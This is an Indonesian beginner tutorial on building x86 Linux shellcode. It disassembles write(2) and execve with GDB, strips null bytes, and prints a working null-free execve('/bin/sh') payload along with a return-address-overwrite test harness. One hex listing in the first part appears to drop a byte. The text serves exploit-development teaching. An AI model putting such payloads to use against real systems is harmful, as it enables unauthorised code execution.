Tutor kali ini adalah sebagai tutorial buat para pemula yang ingin mengetahui bagaimana caranya membuat shellcode dan juga sebagai
bahan referensi saya yang masih pemula dalam hal ini. Dalam artikel ini, anda hanya akan dikenalkan kepada teknik membuat shellcode dasar.
Telah banyak artikel2 mengenai shellcode yang dipublikasikan, dan berdasarkan artikel2 itulah muncul artikel ini. Kredit saya berikan
kepada semua penulis yang menuliskan artikel yang telah saya baca.
Shellcode bisa kita temui di exploit2 yang ada. Shellcode biasanya digunakan untuk menginjeksi instruksi2 yang kita mau ke dalam sebuah
program karena adanya bug pada tahap pemrograman, salah satu contohnya adalah buffer overflow ( ex, program tidak mengecek panjang
user-input, dll).
BAGIAN 1 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Apa yang diperlukan untuk artikel ini?
- Kemampuan programming C (normal)
- GDB (GNU debugger)
Semua source code yang ditulis dalam artikel ini , telah dicoba di Suse & Redhat.
1. membuat shellcode buat write (2).
Dari manual page, kita dapat melihat syntax write yaitu :
ssize_t write(int fd, const void *buf, size_t count);
keterangan :
- fd : file descriptor ( 1 buat stdoutt , output ke screen ).
- *buf : buffer.
- count : panjang buffer.
Mari kita mencoba membuat shellcode untuk write dengan C.
/* --- xwrite.c ---- */
main(){write(1,"halo\n",5);}
work/shell> gcc -o xwrite xwrite.c
work/shell> ./xwrite
halo
ok.. berhasil :).. mari kita membuat shellcode untuk write. Pertama2 kita harus mengetahui apa sebenarnya yang diperlukan oleh write.
mari kita lihat dengan GDB.
work/shell> gcc -o xwrite -static xwrite.c
work/shell> gdb xwrite
(gdb) disas main
Dump of assembler code for function main:
0x80481d0
: push %ebp
0x80481d1 : mov %esp,%ebp
0x80481d3 : sub $0x8,%esp
0x80481d6 : add $0xfffffffc,%esp
0x80481d9 : push $0x5
0x80481db : push $0x808c248
0x80481e0 : push $0x1
0x80481e2 : call 0x804c1b0 <__libc_write>
....
(gdb) disas __libc_write
Dump of assembler code for function __libc_write:
0x804c1b0 <__libc_write>: push %ebx
0x804c1b1 <__libc_write+1>: mov 0x10(%esp,1),%edx
0x804c1b5 <__libc_write+5>: mov 0xc(%esp,1),%ecx
0x804c1b9 <__libc_write+9>: mov 0x8(%esp,1),%ebx
0x804c1bd <__libc_write+13>: mov $0x4,%eax
0x804c1c2 <__libc_write+18>: int $0x80
....
nah.. mari saya coba jelaskan.
bagian main,
push %ebp // %ebp (base pointer) ke stack
mov %esp, %ebp // meng-copy %esp (stack pointer) ke %ebp
sub $0x8, %esp // mengurangi 8 bytes dari stack
// ketiga baris pertama ini adalah baris2 pembuka.
push $0x5 // 5 ke dalam stack
push $0x808c248 // address kata "halo\n" ke stack dapat di lihat dengan cara
// (gdb) x/s 0x808c248
// 0x808c248 <_IO_stdin_used+4>: "halo\n"
push $0x1 // 1 ke dalam stack dapat kita lihat disini bahwa semua parameter untuk write di masuk kan dalam urutan
terbalik, ini di karena kan stack bekerja dengan sistem LIFO.
LIFO ( last in first out ).. yang terakhir masuk duluan keluar.
call 0x804c1b0 // memanggil fungsi write.
bagian write,
0x804c1b1 <__libc_write+1>: mov 0x10(%esp,1),%edx // edx = 5
0x804c1b5 <__libc_write+5>: mov 0xc(%esp,1),%ecx // ecx = address halo\n
0x804c1b9 <__libc_write+9>: mov 0x8(%esp,1),%ebx // ebx = 1
0x804c1bd <__libc_write+13>: mov $0x4,%eax // 0x4 adalah syscall buat write
0x804c1c2 <__libc_write+18>: int $0x80 // jalankan perintah
mari kita lihat apakah benar parameter2 nya sebelum kita jalankan perintah melalui GDB.
(gdb) break *0x804c1c2
Breakpoint 1 at 0x804c1c2
(gdb) r
Breakpoint 1, 0x0804c1c2 in __libc_write ()
(gdb) i r eax ebx ecx edx
eax 0x4 4
ebx 0x1 1
ecx 0x808c248 134791752
edx 0x5 5
keterangan :
1. eax adalah biasanya nomor syscall.
2. ebx adalah parameter pertama (jika mengharuskan parameter pertama).
3. ecx dan edx adalah param kedua dan ketiga (jika diharuskan)
kesimpulan :
1. eax harus 0x4 .
2. ebx harus 0x1.
3. ecx harus address dari string yang mau kita tulis.
4. edx harus 0x5 ( dalam kasus ini , karena yang mau kita tuliskan adalah halo\n *\n adalah 1 karakter* ).
pembuatan shellcode :
1. jump & call (versi aleph1): pada metode ini kita melakukan jump ke call ( call akan memasukkan instruksi berikut ke dalam stack ).
jmp 0x(address call) // lompat ke instruksi
pop %esi // value yang dipop dari atas stack di simpan di esi
< code buat write >
call 0x(addr setelah jmp) // panggil dan push instruksi berikutnya ke dlm stack
.string \"halo\n\"
writeasm.c
main(){
__asm__("
jmp 0x8048435 # dapat kita cek dari GDB
pop %esi # %esi mendapat address halo
mov $0x5,%edx # %edx = 5
mov %esi,%ecx # %ecx = %esi --> %ecx = address "halo\n"
mov $0x1,%ebx # %ebx = 1
mov $0x4,%eax # %eax = 4 (write)
int $0x80 # execute
mov %ebx,%ebx # %ebx = 0
mov $0x1,%eax # %eax = 1 syscall buat exit.
int $0x80 # execute
call 0x8048418 # call
.string \"halo\n\"
");}
mari kita lihat dari GDB bagaimana menentukan address buat jump dan call :)
work/shell> gdb writeasm
(gdb) disas main
Dump of assembler code for function main:
0x8048410 : push %ebp
0x8048411 : mov %esp,%ebp
0x8048413 : jmp 0x0
0x8048418 : pop %esi <-- kita mau call ke address ini 0x8048418
0x8048419 : mov $0x5,%edx
...
0x8048433 : int $0x80
0x8048435 : call 0x0 <-- kita mau jump ke address ini 0x8048435
0x804843a : push $0xa6f6c61
work/shell> make writeasm
cc writeasm.c -o writeasm
work/shell> ./writeasm
halo mari kita terjemahkan ke shellcode :)
work/shell> objdump -d writeasm | grep \ -A13
08048410 :
8048410: 55 push %ebp
8048411: 89 e5 mov %esp,%ebp
8048413: e9 1d 00 00 00 jmp 8048435 ß mulai
8048418: 5e pop %esi
8048419: ba 05 00 00 00 mov $0x5,%edx
804841e: 89 f1 mov %esi,%ecx
8048420: bb 01 00 00 00 mov $0x1,%ebx
8048425: b8 04 00 00 00 mov $0x4,%eax
804842a: cd 80 int $0x80
804842c: 89 db mov %ebx,%ebx
804842e: b8 01 00 00 00 mov $0x1,%eax
8048433: cd 80 int $0x80
8048435: e8 de ff ff ff call 8048418
804843a: 68 61 6c 6f 0a push $0xa6f6c61 ß akhir
ato dapat dengan menggunakan GDB.
(gdb) x/bx main+3 <-- jmp :)
... enter dan cat nomor2 yang keluar 0xe9 == \xe9 , dst... sampai akhir..
maka shellcode kita untuk write _SAJA_ (tanpa string yang akan kita tulis) adalah (dengan cara menambahkan \x di depan semua angka
yang kita temui )
\xe9\x1d\x00\x00\x5e\xba\x05\x00\x00\x00\x89\xf1\xbb\x01\x00\x00\x00\xb8\x04\x00
\x00\x00\xcd\x80\x89\xdb\xb8\x01\x00\x00\x00\xcd\x80\xe8\xde\xff\xff\xff
mari kita coba :
write1.c (44 bytes)
char code[]="\xe9\x1d\x00\x00\x00\x5e\xba\x05\x00\x00\x00\x89\xf1\xbb\x01\x00\x00\x00”
“\xb8\x04\x00\x00\x00\xcd\x80\x89\xdb\xb8\x01\x00\x00\x00\xcd\x80\xe8\xde\xff\xff”
“\xff\x68\x61\x6c\x6f\x0a"; // ingat string yang mau kita tuliskan.
main(){
int *ret;
ret = (int *)&ret + 2; // menambah address ret dengan 2.
*ret = (int)code;
}
mengapa ditambah dengan 2 ??
bentuk dasar stack pada saat esekusi program adalah sedemikian rupa :
[ 4 byte buat *ret ] [ SFP] [ return address ] [ arguments .... ] [ environment ].
Jadi dengan menambah 2 ( 8 bytes ) kita akan sampai di return address. untuk keterangan lebih lanjut dapat anda baca
"Smash Stack for Fun and Profit" dari Aleph1.
work/shell> gcc -o write1 write1.c
work/shell> ./write1
halo
2. normal ( versi lsd )
asmwrite.c
main(){
__asm__("
mov $0x5,%edx # %edx = 5
push $0xa # a = \n
push $0x6f6c6168 # 68 = h , 61 = a dst..
mov %esp,%ecx # %ecx = %esp --> %ecx = address halo
mov $0x1,%ebx # %ebx = 1
mov $0x4,%eax # %eax = 4 (write)
int $0x80 # execute
mov %ebx,%ebx # %ebx = 0
mov $0x1,%eax # %eax = 1 syscall buat exit
int $0x80 # execute
");}
mengapa esp ??
karena esp adalah penunjuk yang berada di atas stack, jadi setelah kita mem-push 0xa dan 0x6f6c6168 (little endian / dalam keadaan
terbalik, jika dalam system big endian maka harus ditulis 0x68616c6f), nilai dari esp adalah merupakan address dari 0x6f6c6168 yang
kita perlu buat %ecx.
work/shell> gcc -o asmwrite asmwrite.c
work/shell> ./asmwrite
halo
mari kita terjemahkan ke shellcode (dengan string yang akan kita tuliskan) dengan objdump dan ...
\xba\x05\x00\x00\x00\x6a\x0a\x68\x68\x61\x6c\x6f\x89\xe1\xbb\x01\x00\x00\x00\xb8
\x04\x00\x00\x00\xcd\x80\x89\xdb\xb8\x01\x00\x00\x00\xcd\x80
mari kita coba :
write2.c ( 35 bytes )
char code[]="\xba\x05\x00\x00\x00\x6a\x0a\x68\x68\x61\x6c\x6f\x89\xe1\xbb\x01”
“\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80\x89\xdb\xb8\x01\x00\x00\x00\xcd\x80";
main(){
int *ret;
ret = (int *)&ret + 2; // menambah address ret dengan 2.
*ret = (int)code;}
work/shell> make write2
cc write2.c -o write2
work/shell> ./write2
halo
2. non-zero byte codes??
(byte codes)2 diatas adalah byte codes yang masih mempunya 00 byte, jika anda ingin membuat suatu exploit, 00 byte tidaklah dibenarkan
karena dapat men-terminate exploit itu.
lalu bagimanakah kita menghilangkan 00 byte (sekaligus memperpendek shellcode kita)? mari kita lihat kembali contoh2 diatas.
contoh dari jump & call :
work/shell> objdump -d writeasm | grep \ -A13
08048410 :
8048410: 55 push %ebp
8048411: 89 e5 mov %esp,%ebp
8048413: e9 1d 00 00 00 jmp 8048435 ß mulai
8048418: 5e pop %esi
8048419: ba 05 00 00 00 mov $0x5,%edx
804841e: 89 f1 mov %esi,%ecx
8048420: bb 01 00 00 00 mov $0x1,%ebx
8048425: b8 04 00 00 00 mov $0x4,%eax
804842a: cd 80 int $0x80
804842c: 89 db mov %ebx,%ebx
804842e: b8 01 00 00 00 mov $0x1,%eax
8048433: cd 80 int $0x80
8048435: e8 de ff ff ff call 8048418
804843a: 68 61 6c 6f 0a push $0xa6f6c61 ß akhir
instruksi2 yang memiliki 00 bytes adalah :
jmp , mov $0x5 .. , mov $0x1 .. , mov $0x4 .., mov $0x1
cara memperbaiki..
xor %eax,%eax # eax = 0
xor %ebx,%ebx # ebx = 0
movb $0x5,%al # al = 5 (al adalah 8b bawah,ah=8b atas,ax=16b,eax=32b)
mov %eax,%edx # edx = eax --> edx = 5
mov %esi,%ecx # ecx mendapat address halo\n
inc %ebx # menambah ebx dengan 1 --> ebx = 1
dec %al # mengurangi al dengan 1 --> eax = 0x4
int $0x80 # execute
xor %ebx,%ebx # %ebx = 0
mov %ebx,%eax # %eax = 0 (%ebx)
inc %eax # increment %eax
int $0x80 # execute
work/shell> objdump -d writeasm2 | grep \ -A17
08048410 :
8048410: 55 push %ebp
8048411: 89 e5 mov %esp,%ebp
8048413: e9 17 00 00 00 jmp 804842f
8048418: 5e pop %esi
8048419: 31 c0 xor %eax,%eax
804841b: 31 db xor %ebx,%ebx
804841d: b0 05 mov $0x5,%al
804841f: 89 c2 mov %eax,%edx
8048421: 89 f1 mov %esi,%ecx
8048423: 43 inc %ebx
8048424: fe c8 dec %al
8048426: cd 80 int $0x80
8048428: 31 db xor %ebx,%ebx
804842a: 89 d8 mov %ebx,%eax
804842c: 40 inc %eax
804842d: cd 80 int $0x80
804842f: e8 e4 ff ff ff call 8048418
8048434: 68 61 6c 6f 0a push $0xa6f6c61
untuk jmp dapat kita tukar menjadi \xeb\x14 dan menghilangkan tiga 00 yang berada di belakangnya.
shellcode yg kita dapat adalah :(35 bytes)
\xeb\x14\x5e\x31\xc0\x31\xdb\xb0\x05\x89\xc2\x89\xf1\x43\xfe\xc8\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80\xe8\xe4\xff\xff\xff\x68\x61\x6c\x6f\x0a
contoh dari normal (versi lsd)
work/shell> objdump -d asmwrite | grep \ -A14
08048410 :
8048410: 55 push %ebp
8048411: 89 e5 mov %esp,%ebp
8048413: ba 05 00 00 00 mov $0x5,%edx
8048418: 6a 0a push $0xa
804841a: 68 68 61 6c 6f push $0x6f6c6168
804841f: 89 e1 mov %esp,%ecx
8048421: bb 01 00 00 00 mov $0x1,%ebx
8048426: b8 04 00 00 00 mov $0x4,%eax
804842b: cd 80 int $0x80
804842d: 89 db mov %ebx,%ebx
804842f: b8 01 00 00 00 mov $0x1,%eax
8048434: cd 80 int $0x80
seperti cara diatas , maka kita dapat :
work/shell> objdump -d asmwrite2 | grep \ -A16
08048410 :
8048410: 55 push %ebp
8048411: 89 e5 mov %esp,%ebp
8048413: 31 db xor %ebx,%ebx
8048415: 89 da mov %ebx,%edx
8048417: 89 d8 mov %ebx,%eax
8048419: b2 05 mov $0x5,%dl
804841b: 6a 0a push $0xa
804841d: 68 68 61 6c 6f push $0x6f6c6168
8048422: 89 e1 mov %esp,%ecx
8048424: 43 inc %ebx
8048425: b0 04 mov $0x4,%al
8048427: cd 80 int $0x80
8048429: 31 db xor %ebx,%ebx
804842b: 89 d8 mov %ebx,%eax
804842d: fe c0 inc %al
804842f: cd 80 int $0x80
shellcode yg kita dapat adalah : (30 bytes)
\x31\xdb\x89\xda\x89\xd8\xb2\x05\x6a\x0a\x68\x68\x61\x6c\x6f\x89\xe1\x43\xb0\x04\xcd\x80\x31\xdb\x89\xd8\xfe\xc0\xcd\x80
Semoga tutor ini bermanfaat bagi anda. Have fun shellcoding.
bagian 2 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Pada artikel pertama telah saya jelaskan cara - cara pembuatan shell code untuk write (2), yang mungkin kurang menarik karena hanya
menuliskan kalimat yang kita inginkan. Mungkin anda lebih tertarik untuk mengetahui cara pembuatan shell code untuk mendapat shell?
Sebagaimana yang biasa digunakan dalam sebagian besar exploit – exploit yang bisa kita temukan sekarang ini. Pada artikel ini akan
saya bahas bagaimana cara pembuatan shell code untuk mendapatkan shell dan juga menyinggung sedikit tentang buffer overflow. Tujuan
penulisan artikel ini adalah sebagai bahan referensi saya yang masih pemula. Saya minta maaf kepada pembaca yang kurang bisa mengerti
artikel pertama saya. Pada artikel ini akan saya coba untuk lebih memperjelas. Terima kasih dan selama menikmati artikel ini.
[ - 2 - ] Pengenalan Istilah.
Pada bagian ini akan saya sedikit info tentang kata – kata yang mungkin baru pertama kali anda dengar.
1. Stack : sebuah tempat penampungan, dimana 2 instruksi utama pada stack yang akan kita gunakan adalah push dan pop.
2. Push : memasukkan sesuatu ke Stack.
3. Pop : mengeluarkan sesuatu dari atas Stack.
4. mov : mengcopy isi satu register ke register yang lain.
5. leal : mengcopy address dari satu register ke register yang lain.
[ - 3 - ] Ilustrasi tentang Stack.
1. Stack kosong
2. Push halo (memasukkan “halo” ke dalam stack).
3. Push apa (memasukkan “apa” ke dalam stack).
4. Pop (mengeluarkan element paling atas dari stack * yaitu kata “apa”*).
5. Push olah (memasukkan “olah” ke dalam stack).
========================================================
|a | b | c | d | e |
| | | | | |
| | | | | |
| | | | | |
| | | | | olah |
| | | apa | | |
| | | | | |
| | halo | halo | halo | halo |
=======================================================
[ - 4 - ] Shell dari C
Dari manual pagenya linux, dapat kita peroleh keterangan mengenai execve (execute program).
Syntax :
int execve(const char *filename, char *const argv [], char *const envp[]);
Keterangan:
1. filename : nama file (biasanya /bin/sh) pada artikel ini kita anggap saja /bin/sh J
2. argv : sejumlah parameter / argument yang akan di berikan kepada filename, harus diakhir dengan NULL.
3. envp : environment (biasanya dapat kita lihat dengan perintah getenv / env ), dapat juga diisi dengan NULL.
Setelah mengetahui syntax dan keterangannya, mari kita coba membuat suatu program yang akan memberikan kita shell (saat ini kita hanya
membuat nya dalam bentuk C code).
shell.c
#include
main(){
char *sh[2];
sh[0] = “/bin/sh”;
sh[1] = NULL;
execve(sh[0],sh,NULL);
}
Ok, mungkin anda akan bertanya apa yang dilakukan orang ini. Akan saya coba jelaskan.
1. char *sh[2] à membuat character pointer array.
2. sh[0] = “/bin/sh” à pointer pertama menunjuk ke “/bin/sh”.
3. sh[1] = NULL à pointer kedua menunjuk ke NULL.
4. execve(sh[0],sh,NULL); à dapat dilihat di keterangan mengenai execve di atas.
Mari kita coba program shell.c kita J
xchide@insane:~/proj/work/shell> gcc -o shell shell.c
xchide@insane:~/proj/work/shell> ./shell
sh-2.05$ exit
exit
xchide@insane:~/proj/work/shell>
Yep. Kita berhasil mendapatkan shell kita J. Jadi bagaimana kalo kita mencoba untuk membuat shellcode untuk shell kita ini?
[ - 5 - ] Shell dari Assembly.
Mari kita menggunakan GDB (GNU debugger) untuk melihat perintah – perintah / instruksi – instruksi (assembly) yang
diperlukan untuk membuat sebuat shell.
xchide@insane:~/proj/work/shell> gcc -static -o shell shell.c
xchide@insane:~/proj/work/shell> gdb shell
GNU gdb 5.1.1
…dst…
(gdb) disas main
Dump of assembler code for function main:
…dst…
0x80481d6 : movl $0x808c2a8,0xfffffff8(%ebp)
0x80481dd : movl $0x0,0xfffffffc(%ebp)
0x80481e4 : add $0xfffffffc,%esp
0x80481e7 : push $0x0
0x80481e9 : lea 0xfffffff8(%ebp),%eax
0x80481ec : push %eax
0x80481ed : mov 0xfffffff8(%ebp),%eax
0x80481f0 : push %eax
0x80481f1 : call 0x804c010 <__execve>
...dst...
(gdb) disas __execve
Dump of assembler code for function __execve:
…dst…
0x804c029 <__execve+25> : mov 0xc(%ebp),%ecx
0x804c02c <__execve+28> : mov 0x10(%ebp),%edx
0x804c02f <__execve+31> : push %ebx
0x804c030 <__execve+32> : mov %edi,%ebx
0x804c032 <__execve+34> : mov $0xb,%eax
0x804c037 <__execve+39> : int $0x80
…dst…
(gdb) x/s 0x808c2a8
0x808c2a8 <_IO_stdin_used+4>: "/bin/sh"
(gdb)
Keterangan:
Bagian main:
1. movl $0x808c2a8, 0xfffffff8(%ebp) à mengcopy $0x808c2a8 ke dalam -8(ebp)
[…………| $0x808c2a8|…]. kira - kira beginilah bentuk ebp pada saat ini.
2. movl $0x0, 0xfffffffc(%ebp) à mengcopy $0x0 (0 / NULL) ke dalam -12(ebp)
[.....|NULL| $0x808c2a8|…].
3. add $0xfffffffc, %esp à menambah esp dengan -12 / mengurangi esp dengan 12.
4. push $0x0 à memasukkan $0x0 (0 / NULL) ke dalam stack.
5. lea 0xfffffff8(%ebp),%eax à mengcopy address dari -8(ebp) ke eax.
6. push %eax à memasukkan eax ke dalam stack.
7. mov 0xfffffff8(%ebp),%eax à mengcopy isi dari -8(ebp) ke eax.
8. push %eax à memasukkan eax ke dalam stack.
9. call 0x804c010 <__execve> à memanggil execve.
Kesimpulan untuk bagian main ( -x- dimana x adalah angka pada keterangan) :
1. kita harus mempunyai string “/bin/sh”. -1-
2. “/bin/sh” kita itu kemudian harus kita akhiri dengan NULL. -2-
3. kita harus mengetahui letak / address dari “/bin/sh” kita itu -5-
Bagian execve:
1. mov 0xc(%ebp), %ecx à mengcopy isi 12(ebp) ke ecx.
2. mov 0x10(%ebp), %edx à mengcopy isi 10(ebp) ke edx
3. push %ebx à memasukkan isi ebx ke dalam stack
4. mov %edi, %ebx à mengcopy isi edi ke ecx
5. mov $0xb, %eax à mengcopy $0xb ke eax ($0xb adalah execve).
6. int $0x80 à mengeksekusi / jalankan perintah.
Kesimpulan secarah keseluruhan (main + execve):
1. kita harus mempunya string “/bin/sh”.
2. “/bin/sh” kita itu kemudian harus kita akhiri dengan NULL.
3. kita harus mengetahui letak / address dari “/bin/sh” kita itu.
4. kita harus mengcopy address dari character pointer array kita ke register ecx (parameter ketiga).
5. kita harus mengcopy NULL ke dalam edx (parameter keempat).
6. kita harus mengcopy “/bin/sh” (address dari “/bin/sh”) kita ke register ebx (parameter kedua).
7. kita harus mengcopy $0xb (execve) ke register eax (parameter pertama).
8. kita harus jalankan perintah (memang seharusnya).
Setelah kita mengetahui semua yang kita perlukan, mari kita coba membuat program assembly yang dapat memberikan kita shell
(seperti halnya program C yang telah kita diatas).
shellasm.c
int main(){
__asm__("
xor %eax,%eax # eax = 0
cdq # sign extend eax dan mencopynya ke edx.
# sign extend artinya mengubah banyaknya
# byte. mis dari 8b menjadi 16b, ato 16b
# menjadi 32b(biasanya 2x lebih besar).
push %eax # memasukkan eax (NULL pada saat ini) ke dlm # stack).
push $0x68732f2f # memasukkan //sh ke dalam stack
push $0x6e69622f # memasukkan /bin ke dalam stack
mov %esp, %ebx # mengcopy esp(address /bin/sh*NULL* pada # saat ini ke ebx).
push %eax # memasukkan eax (NULL pada saat ini) ke dlm # stack).
push %ebx # memasukkan ebx (address /bin/sh*NULL*) ke # dalam stack).
mov %esp, %ecx # mengcopy esp(address dari address /bin/sh*NULL*)
# ke ecx.
movb $0xb, %al # al(8 bit paling bawah dari register eax) = 11
int $0x80 # eksekusi / jalankan perintah
");
}
Mari kita coba program shellasm.c kita.
xchide@insane:~/proj/work/shell> gcc -o shellasm shellasm.c
xchide@insane:~/proj/work/shell> ./shellasm
sh-2.05$ exit
exit
xchide@insane:~/proj/work/shell>
Anda mungkin akan bertanya, mengapa kita memasukkan //sh dan bukan /sh saja?
Kita menggunakan //sh supaya kita tidak mendapat 00 byte. Jika anda mencoba untuk menjalankan sebuah program contohnya ./sh, akan
sama hasilnya dengan menggunakan .//sh. J
Yep. Kita berhasil lagi dalam mendapatkan shell. Jadi sekarang tinggal saatnya mengubahnya menjadi shellcode.
[ - 6 - ] Pembuatan shellcode J
Setelah kita lewati semua yang ada diatas. Akhirnya tibalah kita pada saat pembuatan shellcode.
xchide@insane:~/proj/work/shell> objdump -d shellasm |grep \ -A13
08048410 :
8048410: 55 push %ebp
8048411: 89 e5 mov %esp,%ebp
8048413: 31 c0 xor %eax,%eax ßawal
8048415: 99 cltd
8048416: 50 push %eax
8048417: 68 2f 2f 73 68 push $0x68732f2f
804841c: 68 2f 62 69 6e push $0x6e69622f
8048421: 89 e3 mov %esp,%ebx
8048423: 50 push %eax
8048424: 53 push %ebx
8048425: 89 e1 mov %esp,%ecx
8048427: b0 0b mov $0xb,%al
8048429: cd 80 int $0x80 ß akhir
xchide@insane:~/proj/work/shell>
Seperti pada artikel pertama, yaitu menambah \x di depan semua angka yang kita temui (dari awal sampai akhir). Jadi shellcode kita
untuk execve /bin/sh adalah :
\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62
\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
Setelah kita mendapat shellcode kita, mari kita mencobanya :
testing.c
char sc[]="\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
int *ret;
ret = (int *)&ret + 2;
*ret = (int)sc;
}
xchide@insane:~/proj/work/shell> gcc -o testing testing.c
xchide@insane:~/proj/work/shell> ./testing
sh-2.05$ exit
exit
xchide@insane:~/proj/work/shell>
Demikianlah cara membuat shellcode untuk execve, semoga dapat bermanfaat bagi anda.
[ - 7 - ] Buffer Overflow ?
Apakah itu buffer overflow ?
Buffer adalah tempat penampungan. Overflow artinya kelebihan muatan. Jadi buffer overflow = suatu kondisi dimana element – element
yang ada tidak lagi bisa menempati tempat penampungan yang ada.
Contohnya :
char rumah[25]; // rumah yang bisa berisi 25 orang saja.
char kamar[10]; // kamar yang bisa berisi 10 orang saja.
Jika semua yang ada di rumah (25 orang) masuk ke dalam kamar (yang hanya bisa berisi 10 orang saja), kamar itu
tidak akan dapat menampung 15 orang lainnya. Hal inilah yang bisa kita katakan buffer overflow, dimana kamar itu adalah buffer
dan karena kapasitas kamar lebih kecil dari kapasitas yang akan masuk maka dapat dikatakan overflow.
[ - 8 - ] Penutup.
Semoga anda menikmati artikel ini. Harus diketahui bahwa semua bahan – bahan di dalam artikel hanyalah untuk
memberikan kesan kepada kita semua mengenai teknik teknik pembuatan shellcode dan sedikit tentang buffer overflow. Semua
kegiatan di luar baik yang merugikan ataupun menguntungkan adalah di luar tanggung jawab penulis. Terima kasih telah meluangkan
waktu untuk membaca artikel ini.
by: innerphobia
Thursday, December 8, 2011